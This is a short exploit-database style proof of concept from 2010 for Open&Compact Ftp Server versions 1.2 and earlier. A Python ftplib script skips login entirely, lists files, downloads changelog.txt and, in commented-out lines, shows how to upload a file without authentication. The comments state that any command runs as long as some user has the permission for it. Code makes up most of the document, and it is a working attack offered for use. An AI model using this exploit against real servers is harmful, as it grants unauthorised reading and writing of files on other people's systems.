# Exploit Title: Open&Compact Ftp Server <= 1.2 Full System Access
# Date: June 12, 2010
# Author: Serge Gorbunov
# Software Link: http://sourceforge.net/projects/open-ftpd/
# Version: <= 1.2
# Tested on: Windows 7, Windows XP SP3
#!/usr/bin/python
# Simply by omitting login process to the open ftp server it is possible
# to execute any command, including but not limited to: listing files,
# retrieving files, storing files.
# Below is an example of a few commands.
# If you want to test storing files with no authentication, create a
# test file and uncomment out line with ftp.storbinary function call.
# Any command will work as long as there is at least on user who has the permission
# to execute that command. For example, storing files will work as long
# as there is one user with write permission. No matter whom it is.
import ftplib
import os
# Connect to server
ftp = ftplib.FTP( "127.0.0.1" )
ftp.set_pasv( False )
# Note that we need no authentication at all!!
print ftp.retrlines( 'LIST' )
print ftp.retrbinary('RETR changelog.txt', open('changelog.txt', 'wb').write )
# filename = 'test.txt'
# f = open( filename, 'rb' )
# print ftp.storbinary( 'STOR ' + filename, f )
# f.close()
ftp.quit()